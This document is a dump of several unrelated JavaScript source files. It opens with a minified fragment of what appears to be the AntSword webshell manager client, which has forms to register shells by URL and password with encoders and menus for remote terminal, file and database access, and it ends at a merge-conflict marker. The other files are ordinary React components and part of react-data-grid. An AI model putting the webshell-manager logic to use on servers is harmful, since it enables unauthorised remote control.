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t;a=e,s.progressOff(),n=ace.edit(s.cell.lastChild),n.$blockScrolling=1/0,n.setTheme("ace/theme/tomorrow"),n.session.setMode("ace/mode/"+i[o]),n.session.setUseWrapMode(!0),n.session.setWrapLimitRange(null,null),n.setOptions({fontSize:"14px",enableBasicAutocompletion:!0,enableSnippets:!0,enableLiveAutocompletion:!0}),n.commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Command-S"},exec:function(){c.callEvent("onClick",["save"])}}),n.session.setValue(e);var r=setInterval((t=n,n.resize).bind(t),200);s.attachEvent("onClose",function(){return clearInterval(r),!0})},function(e){toastr.error(_.editor.loadErr(e),w.error),s.close()})}},{key:"createWin",value:function(e){var t=String(Math.random()).substr(5,10),r=$.extend({title:"Window:"+t,width:660,height:550},e),n=this.win.createWindow(t,0,0,r.width,r.height);return n.setText(r.title),n.centerOnScreen(),n.button("minmax").show(),n.button("minmax").enable(),n}}]),t}();t["default"]=R}).call(t,function(){return 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n=t.attachForm([{type:"settings",position:"label-left",labelWidth:80,inputWidth:250},{type:"block",inputWidth:"auto",offsetTop:12,list:[{type:"input",label:p.list.add.form.url,name:"url",required:!0},{type:"input",label:p.list.add.form.pwd,name:"pwd",required:!0},{type:"combo",label:p.list.add.form.encode,readonly:!0,name:"encode",options:function(){var e=[];return f["default"].map(function(t){e.push({text:t,value:t,selected:"UTF8"===t})}),e}()},{type:"combo",label:p.list.add.form.type,name:"type",readonly:!0,options:function(){var e=[];return[{name:"php",encoder:["base64","chr"]},{name:"asp",encoder:[]},{name:"aspx",encoder:[]},{name:"custom",encoder:["base64","hex"]}].map(function(t){var r={text:t.name.toUpperCase(),value:t.name,selected:"php"===t.name,list:[{type:"settings",position:"label-right",offsetLeft:60,labelWidth:100},{type:"label",label:p.list.add.form.encoder},{type:"radio",name:"encoder_"+t.name,value:"default",label:"default",checked:!0}]};t.encoder.map(function(e){r.list.push({type:"radio",name:"encoder_"+t.name,value:e,label:e})}),e.push(r)}),e}()}]}],!0);r.attachEvent("onClick",function(r){switch(r){case"add":if(!n.validate())return toastr.warning(p.list.add.warning,h.warning);var a=n.getValues();t.progressOn(),a.encoder=a["encoder_"+a.type]?a["encoder_"+a.type]:"",a.category=e.category.sidebar.getActiveItem()||"default";var s=antSword.ipcRenderer.sendSync("shell-add",a);t.progressOff(),s instanceof Object?(t.close(),toastr.success(p.list.add.success,h.success),e.loadData({category:a.category})):toastr.error(p.list.add.error(s.toString()),h.error);break;case"clear":n.clear()}})}},{key:"editData",value:function(e){var t=this,r=antSword.ipcRenderer.sendSync("shell-findOne",e),n=this.createWin({title:p.list.edit.title(r.url),width:450,height:350});n.setModal(!0),n.denyResize();var a=n.attachToolbar();a.loadStruct([{id:"save",type:"button",icon:"save",text:p.list.edit.toolbar.save},{type:"separator"},{id:"clear",type:"button",icon:"remove",text:p.list.edit.toolbar.clear}]);var s=n.attachForm([{type:"settings",position:"label-left",labelWidth:80,inputWidth:250},{type:"block",inputWidth:"auto",offsetTop:12,list:[{type:"input",label:p.list.edit.form.url,name:"url",required:!0,value:r.url},{type:"password",label:p.list.edit.form.pwd,name:"pwd",required:!0,value:r.pwd},{type:"combo",label:p.list.edit.form.encode,readonly:!0,name:"encode",options:function(){var e=[];return f["default"].map(function(t){e.push({text:t,value:t,selected:t===r.encode})}),e}()},{type:"combo",label:p.list.edit.form.type,name:"type",readonly:!0,options:function(){var e=[];return[{name:"php",encoder:["base64","chr"]},{name:"asp",encoder:[]},{name:"aspx",encoder:[]},{name:"custom",encoder:["base64","hex"]}].map(function(t){var n={text:t.name.toUpperCase(),value:t.name,selected:r.type===t.name,list:[{type:"settings",position:"label-right",offsetLeft:60,labelWidth:100},{type:"label",label:p.list.edit.form.encoder},{type:"radio",name:"encoder_"+t.name,value:"default",label:"default",checked:"default"===r.encoder||t.name!==r.type||!t.encoder.indexOf(r.encoder)}]};t.encoder.map(function(e){n.list.push({type:"radio",name:"encoder_"+t.name,value:e,label:e,checked:r.encoder===e})}),e.push(n)}),e}()}]}],!0);a.attachEvent("onClick",function(r){switch(r){case"save":if(!s.validate())return toastr.warning(p.list.edit.warning,h.warning);var a=s.getValues();a._id=e,n.progressOn(),a.encoder=a["encoder_"+a.type]?a["encoder_"+a.type]:"",a.category=t.category.sidebar.getActiveItem()||"default";var o=antSword.ipcRenderer.sendSync("shell-edit",a);n.progressOff(),"number"==typeof o?(n.close(),toastr.success(p.list.edit.success,h.success),t.loadData({category:a.category})):toastr.error(p.list.edit.error(o.toString()),h.error);break;case"clear":s.clear()}})}},{key:"delData",value:function(e){var t=this;layer.confirm(p.list.del.confirm(e.length),{icon:2,shift:6,title:'<i class="fa fa-trash"></i> '+p.list.del.title},function(r){layer.close(r);var n=antSword.ipcRenderer.sendSync("shell-del",e);"number"==typeof n?(toastr.success(p.list.del.success(n),h.success),t.loadData({category:t.category.sidebar.getActiveItem()||"default"})):toastr.error(p.list.del.error(n.toString()),h.error)})}},{key:"searchData",value:function(){"tab_shellmanager"!==antSword.tabbar.getActiveTab()&&this.cell.setActive();var e=this.category.sidebar.getActiveItem()||"default";this.createWin({title:"搜索数据 //"+e,width:450,height:350})}},{key:"loadData",value:function(e){var t=antSword.ipcRenderer.sendSync("shell-find",e||{}),r={},n=[];t.map(function(t){r[t.category||"default"]=r[t.category||"default"]||0,r[t.category||"default"]++,e instanceof Object&&e.category&&e.category!==t.category||(e||"default"===t.category)&&n.push({id:t._id,data:[t.url,t.ip,t.addr,new Date(t.ctime).format("yyyy/MM/dd hh:mm:ss"),new Date(t.utime).format("yyyy/MM/dd hh:mm:ss")]})}),this.list.grid.clearAll(),this.list.grid.parse({rows:n},"json"),e instanceof Object&&e.category&&!r[e.category]&&(r[e.category]=0),"object"===s(r["default"])&&(r["default"]=0);for(var a in r)this.category.sidebar.items(a)?this.category.sidebar.items(a).setBubble(r[a]):this.category.sidebar.addItem({id:a,bubble:r[a],text:'<i class="fa fa-folder-o"></i> '+a});this.category.sidebar.items((e||{}).category||"default").setActive(),this.list.updateTitle(n.length),this.category.updateTitle()}},{key:"createWin",value:function(e){var t=String(Math.random()).substr(5,10),r=$.extend({title:"Window:"+t,width:550,height:450},e),n=this.win.createWindow(t,0,0,r.width,r.height);return n.setText(r.title),n.centerOnScreen(),n.button("minmax").show(),n.button("minmax").enable(),n}}]),e}();t["default"]=g},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{"default":e}}function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}Object.defineProperty(t,"__esModule",{value:!0});var s=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}return function(t,r,n){return r&&e(t.prototype,r),n&&e(t,n),t}}(),o=r(61),i=n(o),c=r(58),l=n(c),u=r(60),d=n(u),f=antSword.language.toastr,h=antSword.language.shellmanager,p=function(){function e(t,r){a(this,e),document.getElementsByClassName("dhxlayout_arrow dhxlayout_arrow_va")[0].remove();var n=t.attachGrid();n.setHeader("\n "+h.list.grid.url+",\n "+h.list.grid.ip+",\n "+h.list.grid.addr+",\n "+h.list.grid.ctime+",\n "+h.list.grid.utime+"\n "),n.setColTypes("ro,ro,ro,ro,ro"),n.setColSorting("str,str,str,str,str"),n.setInitWidths("200,120,*,140,140"),n.setColAlign("left,left,left,center,center"),n.enableMultiselect(!0),n.attachEvent("onRightClick",function(e,t,a){var s=(n.getSelectedId()||"").split(",");1===s.length&&(n.selectRowById(e),s=[e]);var o={};return e&&1===s.length&&(o=antSword.ipcRenderer.sendSync("shell-findOne",e)),bmenu([{text:h.contextmenu.terminal,icon:"fa fa-terminal",disabled:!e||1!==s.length,action:function(){new i["default"](o)}},{text:h.contextmenu.filemanager,icon:"fa fa-folder-o",disabled:!e||1!==s.length,action:function(){new d["default"](o)}},{text:h.contextmenu.database,icon:"fa fa-database",disabled:!e||1!==s.length,action:function(){new l["default"](o)}},{divider:!0},{text:h.contextmenu.plugin,icon:"fa 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("+e+")")}}]),e}();t["default"]=p},function(e,t,r){var n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";!function(e){"use strict";function t(e){var t=e.charCodeAt(0);return t===o||t===d?62:t===i||t===f?63:c>t?-1:c+10>t?t-c+26+26:u+26>t?t-u:l+26>t?t-l+26:void 0}function r(e){function r(e){l[d++]=e}var n,a,o,i,c,l;if(e.length%4>0)throw new Error("Invalid string. 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>>>>>>> antoor/master
|
client/modules/Admin/components/AdminList/AdminList.js
|
lordknight1904/bigvnadmin
|
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { connect } from 'react-redux';
import { FormControl, Button, Table } from 'react-bootstrap';
import { getAdminSearch } from '../../AdminActions';
import { getAdmin, getSearch, getCurrentPage } from '../../AdminReducer';
import { getId } from '../../../Login/LoginReducer';
import { setNotify } from '../../../App/AppActions';
import styles from '../../../../main.css';
import dateFormat from 'dateformat';
class AdminList extends Component {
constructor(props) {
super(props);
}
componentDidMount() {
this.props.dispatch(getAdminSearch(this.props.search, this.props.currentPage - 1));
}
onClick = (type, a) => {
if (a._id === this.props.id) {
this.props.dispatch(setNotify('Không thể tự Tước quyền/Khôi phục.'));
} else {
this.props.showDialog(type, a._id);
}
};
render() {
return (
<Table striped bordered condensed hover className={styles.table}>
<thead>
<tr>
<th style={{ width: '40%'}}>Tên tài khoản</th>
<th style={{ width: '20%'}}>Chức vụ</th>
<th style={{ width: '20%'}}>Ngày tạo</th>
<th style={{ width: '10%'}} className={styles.tableButtonCol}>Thao tác</th>
</tr>
</thead>
<tbody>
{
this.props.admin.map((a, index) => {
return (
<tr key={index}>
<td>{a.userName}</td>
<td>{a.role}</td>
<td style={{ textAlign: 'center' }}>{dateFormat(a.dateCreated, 'dd/mm/yyyy HH:mm')}</td>
<td>
{
(a.disabled) ? (
<Button bsStyle="success" onClick={() => this.onClick('Recover', a)}>Khôi phục</Button>
) : (
<Button bsStyle="danger" onClick={() => this.onClick('Delete', a)}>Tước quyền</Button>
)
}
</td>
</tr>
);
})
}
</tbody>
</Table>
);
}
}
// Retrieve data from store as props
function mapStateToProps(state) {
return {
admin: getAdmin(state),
currentPage: getCurrentPage(state),
search: getSearch(state),
id: getId(state),
};
}
AdminList.propTypes = {
dispatch: PropTypes.func.isRequired,
admin: PropTypes.array.isRequired,
currentPage: PropTypes.number.isRequired,
search: PropTypes.string.isRequired,
id: PropTypes.string.isRequired,
showDialog: PropTypes.func.isRequired,
};
AdminList.contextTypes = {
router: PropTypes.object,
};
export default connect(mapStateToProps)(AdminList);
|
docs-ui/components/loadingError.stories.js
|
ifduyue/sentry
|
import React from 'react';
import {storiesOf} from '@storybook/react';
import {action} from '@storybook/addon-actions';
import {withInfo} from '@storybook/addon-info';
import LoadingError from 'app/components/loadingError';
// eslint-disable-next-line
storiesOf('LoadingError', module)
.add(
'default',
withInfo('Loading error with default message')(() => (
<LoadingError onRetry={action('retry')} />
))
)
.add(
'custom message',
withInfo('Loading error with custom message')(() => (
<LoadingError message="Data failed to load" onRetry={action('retry')} />
))
);
|
src/javascript/components/Footer.js
|
knowbody/redux-react-router-example-app
|
import React, { Component } from 'react';
const styles = {
layout: {
height: '100px'
},
footerText: {
textAlign: 'right',
padding: '40px 0',
fontSize: '10px'
}
};
export default class Footer extends Component {
render() {
return (
<div style={styles.layout}>
<div style={styles.footerText}>
Contribute to the
<a href='https://github.com/knowbody/redux-react-router-example-app'
target='_blank'
style={{textDecoration: 'none'}}> project on GitHub</a>.
</div>
</div>
);
}
}
|
src/web/forms/fields/GuideTools/index.js
|
asha-nepal/AshaFusionCross
|
/**
* Copyright 2017 Yuichiro Tsuchiya
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/* @flow */
import React, { Component } from 'react';
import Modal from '../../../components/Modal';
import btnDiabetesImg from '../../../../../assets/img/btn-diabetes.jpg';
import btnBloodPressureImg from '../../../../../assets/img/btn-blood-pressure.jpg';
import modalBloodPressureImg from '../../../../../assets/img/modal-blood-pressure.png';
import diabetesTableHTML from './diabetes.html';
const createDiabetesTable = () => ({
__html: diabetesTableHTML,
});
const DiabetesTable = <div className="guidetool" dangerouslySetInnerHTML={createDiabetesTable()} />;
export class GuideTools extends Component {
constructor(props: {}) {
super(props);
this.state = {
modal: false,
};
}
state: {
modal: false | 'diabetes' | 'bloodpressure',
};
render() {
return (
<div style={{ display: 'flex', flexDirection: 'row-reverse' }}>
<a
className="button"
onClick={e => {
e.preventDefault();
this.setState({ modal: 'diabetes' });
return false;
}}
>
<img src={btnDiabetesImg} alt="Diabetes" style={{ height: '100%' }} />
</a>
<a
className="button"
onClick={e => {
e.preventDefault();
this.setState({ modal: 'bloodpressure' });
return false;
}}
>
<img src={btnBloodPressureImg} alt="Blood pressure" style={{ height: '100%' }} />
</a>
<Modal
isOpen={!(this.state.modal === false)}
onClose={() => this.setState({ modal: false })}
>
<div className="box">
{this.state.modal === 'diabetes' ? (
DiabetesTable
) : (
<div>
<img
src={modalBloodPressureImg}
alt="Diagnosis algorithm"
/>
<p>
Cited from:
"Health Care Guideline Hypertension Diagnosis and Treatment",
Institute for Clinical Systems Improvement
</p>
<a target="_blank" href="/assets/HTN.pdf">Original PDF</a>
</div>
)}
</div>
</Modal>
</div>
);
}
}
|
packages/material-ui-icons/src/FindReplace.js
|
AndriusBil/material-ui
|
import React from 'react';
import pure from 'recompose/pure';
import SvgIcon from 'material-ui/SvgIcon';
let FindReplace = props =>
<SvgIcon {...props}>
<path d="M11 6c1.38 0 2.63.56 3.54 1.46L12 10h6V4l-2.05 2.05C14.68 4.78 12.93 4 11 4c-3.53 0-6.43 2.61-6.92 6H6.1c.46-2.28 2.48-4 4.9-4zm5.64 9.14c.66-.9 1.12-1.97 1.28-3.14H15.9c-.46 2.28-2.48 4-4.9 4-1.38 0-2.63-.56-3.54-1.46L10 12H4v6l2.05-2.05C7.32 17.22 9.07 18 11 18c1.55 0 2.98-.51 4.14-1.36L20 21.49 21.49 20l-4.85-4.86z" />
</SvgIcon>;
FindReplace = pure(FindReplace);
FindReplace.muiName = 'SvgIcon';
export default FindReplace;
|
src/components/photoshop/PhotoshopFields.js
|
Scratch-it/react-color
|
'use strict' /* @flow */
import React from 'react'
import ReactCSS from 'reactcss'
import color from '../../helpers/color'
import shallowCompare from 'react-addons-shallow-compare'
import { EditableInput } from '../common'
export class PhotoshopPicker extends ReactCSS.Component {
shouldComponentUpdate = shallowCompare.bind(this, this, arguments[0], arguments[1])
classes(): any {
return {
'default': {
fields: {
paddingTop: '5px',
paddingBottom: '9px',
width: '80px',
position: 'relative',
},
divider: {
height: '5px',
},
Input: {
style: {
wrap: {
position: 'relative',
},
input: {
marginLeft: '40%',
width: '40%',
height: '18px',
border: '1px solid #888888',
boxShadow: 'inset 0 1px 1px rgba(0,0,0,.1), 0 1px 0 0 #ECECEC',
marginBottom: '5px',
fontSize: '13px',
paddingLeft: '3px',
marginRight: '10px',
},
label: {
left: '0',
width: '34px',
textTransform: 'uppercase',
fontSize: '13px',
height: '18px',
lineHeight: '22px',
position: 'absolute',
},
},
},
Hex: {
style: {
wrap: {
position: 'relative',
},
input: {
marginLeft: '20%',
width: '80%',
height: '18px',
border: '1px solid #888888',
boxShadow: 'inset 0 1px 1px rgba(0,0,0,.1), 0 1px 0 0 #ECECEC',
marginBottom: '6px',
fontSize: '13px',
paddingLeft: '3px',
},
label: {
position: 'absolute',
top: '0',
left: '0',
width: '14px',
textTransform: 'uppercase',
fontSize: '13px',
height: '18px',
lineHeight: '22px',
},
},
},
fieldSymbols: {
position: 'absolute',
top: '5px',
right: '-7px',
fontSize: '13px',
},
symbol: {
height: '20px',
lineHeight: '22px',
paddingBottom: '7px',
},
},
}
}
handleChange = (data: any) => {
if (data['#']) {
color.isValidHex(data['#']) && this.props.onChange({
hex: data['#'],
source: 'hex',
})
} else if (data.r || data.g || data.b) {
this.props.onChange({
r: data.r || this.props.rgb.r,
g: data.g || this.props.rgb.g,
b: data.b || this.props.rgb.b,
source: 'rgb',
})
} else if (data.h || data.s || data.v) {
this.props.onChange({
h: data.h || this.props.hsv.h,
s: data.s || this.props.hsv.s,
v: data.v || this.props.hsv.v,
source: 'hsv',
})
}
}
render(): any {
return (
<div is="fields">
<EditableInput is="Input" label="h" value={ Math.round(this.props.hsv.h) } onChange={ this.handleChange }/>
<EditableInput is="Input" label="s" value={ Math.round(this.props.hsv.s * 100) } onChange={ this.handleChange }/>
<EditableInput is="Input" label="v" value={ Math.round(this.props.hsv.v * 100) } onChange={ this.handleChange }/>
<div is="divider" />
<EditableInput is="Input" label="r" value={ this.props.rgb.r } onChange={ this.handleChange }/>
<EditableInput is="Input" label="g" value={ this.props.rgb.g } onChange={ this.handleChange }/>
<EditableInput is="Input" label="b" value={ this.props.rgb.b } onChange={ this.handleChange }/>
<div is="divider" />
<EditableInput is="Hex" label="#" value={ this.props.hex } onChange={ this.handleChange }/>
<div is="fieldSymbols">
<div is="symbol">°</div>
<div is="symbol">%</div>
<div is="symbol">%</div>
</div>
</div>
)
}
}
export default PhotoshopPicker
|
local-cli/templates/HelloWorld/index.ios.js
|
doochik/react-native
|
/**
* Sample React Native App
* https://github.com/facebook/react-native
* @flow
*/
import React, { Component } from 'react';
import {
AppRegistry,
StyleSheet,
Text,
View
} from 'react-native';
export default class HelloWorld extends Component {
render() {
return (
<View style={styles.container}>
<Text style={styles.welcome}>
Welcome to React Native!
</Text>
<Text style={styles.instructions}>
To get started, edit index.ios.js
</Text>
<Text style={styles.instructions}>
Press Cmd+R to reload,{'\n'}
Cmd+D or shake for dev menu
</Text>
</View>
);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: '#F5FCFF',
},
welcome: {
fontSize: 20,
textAlign: 'center',
margin: 10,
},
instructions: {
textAlign: 'center',
color: '#333333',
marginBottom: 5,
},
});
AppRegistry.registerComponent('HelloWorld', () => HelloWorld);
|
packages/react-scripts/fixtures/kitchensink/src/features/env/PublicUrl.js
|
digitalorigin/create-react-app
|
/**
* Copyright (c) 2015-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
import React from 'react';
export default () => (
<span id="feature-public-url">{process.env.PUBLIC_URL}.</span>
);
|
ajax/libs/react-data-grid/0.14.2/react-data-grid.js
|
kennynaoh/cdnjs
|
(function webpackUniversalModuleDefinition(root, factory) {
if(typeof exports === 'object' && typeof module === 'object')
module.exports = factory(require("react"), require("react-dom"));
else if(typeof define === 'function' && define.amd)
define(["react", "react-dom"], factory);
else if(typeof exports === 'object')
exports["ReactDataGrid"] = factory(require("react"), require("react-dom"));
else
root["ReactDataGrid"] = factory(root["React"], root["ReactDOM"]);
})(this, function(__WEBPACK_EXTERNAL_MODULE_2__, __WEBPACK_EXTERNAL_MODULE_14__) {
return /******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId])
/******/ return installedModules[moduleId].exports;
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ exports: {},
/******/ id: moduleId,
/******/ loaded: false
/******/ };
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/ // Flag the module as loaded
/******/ module.loaded = true;
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/ // Load entry module and return exports
/******/ return __webpack_require__(0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var Grid = __webpack_require__(1);
var Row = __webpack_require__(22);
var Cell = __webpack_require__(23);
module.exports = Grid;
module.exports.Row = Row;
module.exports.Cell = Cell;
/***/ },
/* 1 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var React = __webpack_require__(2);
var BaseGrid = __webpack_require__(3);
var Row = __webpack_require__(22);
var ExcelColumn = __webpack_require__(15);
var KeyboardHandlerMixin = __webpack_require__(25);
var CheckboxEditor = __webpack_require__(34);
var FilterableHeaderCell = __webpack_require__(35);
var DOMMetrics = __webpack_require__(32);
var ColumnMetricsMixin = __webpack_require__(36);
var RowUtils = __webpack_require__(38);
var ColumnUtils = __webpack_require__(9);
if (!Object.assign) {
Object.assign = __webpack_require__(37);
}
var ReactDataGrid = React.createClass({
displayName: 'ReactDataGrid',
mixins: [ColumnMetricsMixin, DOMMetrics.MetricsComputatorMixin, KeyboardHandlerMixin],
propTypes: {
rowHeight: React.PropTypes.number.isRequired,
headerRowHeight: React.PropTypes.number,
minHeight: React.PropTypes.number.isRequired,
minWidth: React.PropTypes.number,
enableRowSelect: React.PropTypes.bool,
onRowUpdated: React.PropTypes.func,
rowGetter: React.PropTypes.func.isRequired,
rowsCount: React.PropTypes.number.isRequired,
toolbar: React.PropTypes.element,
enableCellSelect: React.PropTypes.bool,
columns: React.PropTypes.oneOfType([React.PropTypes.object, React.PropTypes.array]).isRequired,
onFilter: React.PropTypes.func,
onCellCopyPaste: React.PropTypes.func,
onCellsDragged: React.PropTypes.func,
onAddFilter: React.PropTypes.func,
onGridSort: React.PropTypes.func
},
getDefaultProps: function getDefaultProps() {
return {
enableCellSelect: false,
tabIndex: -1,
rowHeight: 35,
enableRowSelect: false,
minHeight: 350
};
},
getInitialState: function getInitialState() {
var columnMetrics = this.createColumnMetrics();
var initialState = { columnMetrics: columnMetrics, selectedRows: this.getInitialSelectedRows(), copied: null, expandedRows: [], canFilter: false, columnFilters: {}, sortDirection: null, sortColumn: null, dragged: null, scrollOffset: 0 };
if (this.props.enableCellSelect) {
initialState.selected = { rowIdx: 0, idx: 0 };
} else {
initialState.selected = { rowIdx: -1, idx: -1 };
}
return initialState;
},
componentWillReceiveProps: function componentWillReceiveProps(nextProps) {
if (nextProps.rowsCount === this.props.rowsCount + 1) {
this.onAfterAddRow(nextProps.rowsCount + 1);
}
},
onSelect: function onSelect(selected) {
if (this.props.enableCellSelect) {
if (this.state.selected.rowIdx !== selected.rowIdx || this.state.selected.idx !== selected.idx || this.state.selected.active === false) {
var _idx = selected.idx;
var _rowIdx = selected.rowIdx;
if (_idx >= 0 && _rowIdx >= 0 && _idx < ColumnUtils.getSize(this.state.columnMetrics.columns) && _rowIdx < this.props.rowsCount) {
this.setState({ selected: selected });
}
}
}
},
onCellClick: function onCellClick(cell) {
this.onSelect({ rowIdx: cell.rowIdx, idx: cell.idx });
},
onCellDoubleClick: function onCellDoubleClick(cell) {
this.onSelect({ rowIdx: cell.rowIdx, idx: cell.idx });
this.setActive('Enter');
},
onViewportDoubleClick: function onViewportDoubleClick() {
this.setActive();
},
onPressArrowUp: function onPressArrowUp(e) {
this.moveSelectedCell(e, -1, 0);
},
onPressArrowDown: function onPressArrowDown(e) {
this.moveSelectedCell(e, 1, 0);
},
onPressArrowLeft: function onPressArrowLeft(e) {
this.moveSelectedCell(e, 0, -1);
},
onPressArrowRight: function onPressArrowRight(e) {
this.moveSelectedCell(e, 0, 1);
},
onPressTab: function onPressTab(e) {
this.moveSelectedCell(e, 0, e.shiftKey ? -1 : 1);
},
onPressEnter: function onPressEnter(e) {
this.setActive(e.key);
},
onPressDelete: function onPressDelete(e) {
this.setActive(e.key);
},
onPressEscape: function onPressEscape(e) {
this.setInactive(e.key);
},
onPressBackspace: function onPressBackspace(e) {
this.setActive(e.key);
},
onPressChar: function onPressChar(e) {
if (this.isKeyPrintable(e.keyCode)) {
this.setActive(e.keyCode);
}
},
onPressKeyWithCtrl: function onPressKeyWithCtrl(e) {
var keys = {
KeyCode_c: 99,
KeyCode_C: 67,
KeyCode_V: 86,
KeyCode_v: 118
};
var idx = this.state.selected.idx;
if (this.canEdit(idx)) {
if (e.keyCode === keys.KeyCode_c || e.keyCode === keys.KeyCode_C) {
var _value = this.getSelectedValue();
this.handleCopy({ value: _value });
} else if (e.keyCode === keys.KeyCode_v || e.keyCode === keys.KeyCode_V) {
this.handlePaste();
}
}
},
onCellCommit: function onCellCommit(commit) {
var selected = Object.assign({}, this.state.selected);
selected.active = false;
if (commit.key === 'Tab') {
selected.idx += 1;
}
var expandedRows = this.state.expandedRows;
// if(commit.changed && commit.changed.expandedHeight){
// expandedRows = this.expandRow(commit.rowIdx, commit.changed.expandedHeight);
// }
this.setState({ selected: selected, expandedRows: expandedRows });
this.props.onRowUpdated(commit);
},
onDragStart: function onDragStart(e) {
var value = this.getSelectedValue();
this.handleDragStart({ idx: this.state.selected.idx, rowIdx: this.state.selected.rowIdx, value: value });
// need to set dummy data for FF
if (e && e.dataTransfer && e.dataTransfer.setData) e.dataTransfer.setData('text/plain', 'dummy');
},
onAfterAddRow: function onAfterAddRow(numberOfRows) {
this.setState({ selected: { idx: 1, rowIdx: numberOfRows - 2 } });
},
onToggleFilter: function onToggleFilter() {
this.setState({ canFilter: !this.state.canFilter });
},
handleDragStart: function handleDragStart(dragged) {
if (!this.dragEnabled()) {
return;
}
var idx = dragged.idx;
var rowIdx = dragged.rowIdx;
if (idx >= 0 && rowIdx >= 0 && idx < this.getSize() && rowIdx < this.props.rowsCount) {
this.setState({ dragged: dragged });
}
},
handleDragEnd: function handleDragEnd() {
if (!this.dragEnabled()) {
return;
}
var fromRow = undefined;
var toRow = undefined;
var selected = this.state.selected;
var dragged = this.state.dragged;
var cellKey = this.getColumn(this.state.selected.idx).key;
fromRow = selected.rowIdx < dragged.overRowIdx ? selected.rowIdx : dragged.overRowIdx;
toRow = selected.rowIdx > dragged.overRowIdx ? selected.rowIdx : dragged.overRowIdx;
if (this.props.onCellsDragged) {
this.props.onCellsDragged({ cellKey: cellKey, fromRow: fromRow, toRow: toRow, value: dragged.value });
}
this.setState({ dragged: { complete: true } });
},
handleDragEnter: function handleDragEnter(row) {
if (!this.dragEnabled()) {
return;
}
var dragged = this.state.dragged;
dragged.overRowIdx = row;
this.setState({ dragged: dragged });
},
handleTerminateDrag: function handleTerminateDrag() {
if (!this.dragEnabled()) {
return;
}
this.setState({ dragged: null });
},
handlePaste: function handlePaste() {
if (!this.copyPasteEnabled()) {
return;
}
var selected = this.state.selected;
var cellKey = this.getColumn(this.state.selected.idx).key;
if (this.props.onCellCopyPaste) {
this.props.onCellCopyPaste({ cellKey: cellKey, rowIdx: selected.rowIdx, value: this.state.textToCopy, fromRow: this.state.copied.rowIdx, toRow: selected.rowIdx });
}
this.setState({ copied: null });
},
handleCopy: function handleCopy(args) {
if (!this.copyPasteEnabled()) {
return;
}
var textToCopy = args.value;
var selected = this.state.selected;
var copied = { idx: selected.idx, rowIdx: selected.rowIdx };
this.setState({ textToCopy: textToCopy, copied: copied });
},
handleSort: function handleSort(columnKey, direction) {
this.setState({ sortDirection: direction, sortColumn: columnKey }, function () {
this.props.onGridSort(columnKey, direction);
});
},
// columnKey not used here as this function will select the whole row,
// but needed to match the function signature in the CheckboxEditor
handleRowSelect: function handleRowSelect(rowIdx, columnKey, e) {
e.stopPropagation();
if (this.state.selectedRows !== null && this.state.selectedRows.length > 0) {
var _selectedRows = this.state.selectedRows.slice();
if (_selectedRows[rowIdx] === null || _selectedRows[rowIdx] === false) {
_selectedRows[rowIdx] = true;
} else {
_selectedRows[rowIdx] = false;
}
this.setState({ selectedRows: _selectedRows });
}
},
handleCheckboxChange: function handleCheckboxChange(e) {
var allRowsSelected = undefined;
if (e.currentTarget instanceof HTMLInputElement && e.currentTarget.checked === true) {
allRowsSelected = true;
} else {
allRowsSelected = false;
}
var selectedRows = [];
for (var i = 0; i < this.props.rowsCount; i++) {
selectedRows.push(allRowsSelected);
}
this.setState({ selectedRows: selectedRows });
},
getScrollOffSet: function getScrollOffSet() {
var scrollOffset = 0;
var canvas = this.getDOMNode().querySelector('.react-grid-Canvas');
if (canvas) {
scrollOffset = canvas.offsetWidth - canvas.clientWidth;
}
this.setState({ scrollOffset: scrollOffset });
},
getRowOffsetHeight: function getRowOffsetHeight() {
var offsetHeight = 0;
this.getHeaderRows().forEach(function (row) {
return offsetHeight += parseFloat(row.height, 10);
});
return offsetHeight;
},
getHeaderRows: function getHeaderRows() {
var rows = [{ ref: 'row', height: this.props.headerRowHeight || this.props.rowHeight }];
if (this.state.canFilter === true) {
rows.push({
ref: 'filterRow',
headerCellRenderer: React.createElement(FilterableHeaderCell, { onChange: this.props.onAddFilter }),
height: 45
});
}
return rows;
},
getInitialSelectedRows: function getInitialSelectedRows() {
var selectedRows = [];
for (var i = 0; i < this.props.rowsCount; i++) {
selectedRows.push(false);
}
return selectedRows;
},
getSelectedValue: function getSelectedValue() {
var rowIdx = this.state.selected.rowIdx;
var idx = this.state.selected.idx;
var cellKey = this.getColumn(idx).key;
var row = this.props.rowGetter(rowIdx);
return RowUtils.get(row, cellKey);
},
moveSelectedCell: function moveSelectedCell(e, rowDelta, cellDelta) {
// we need to prevent default as we control grid scroll
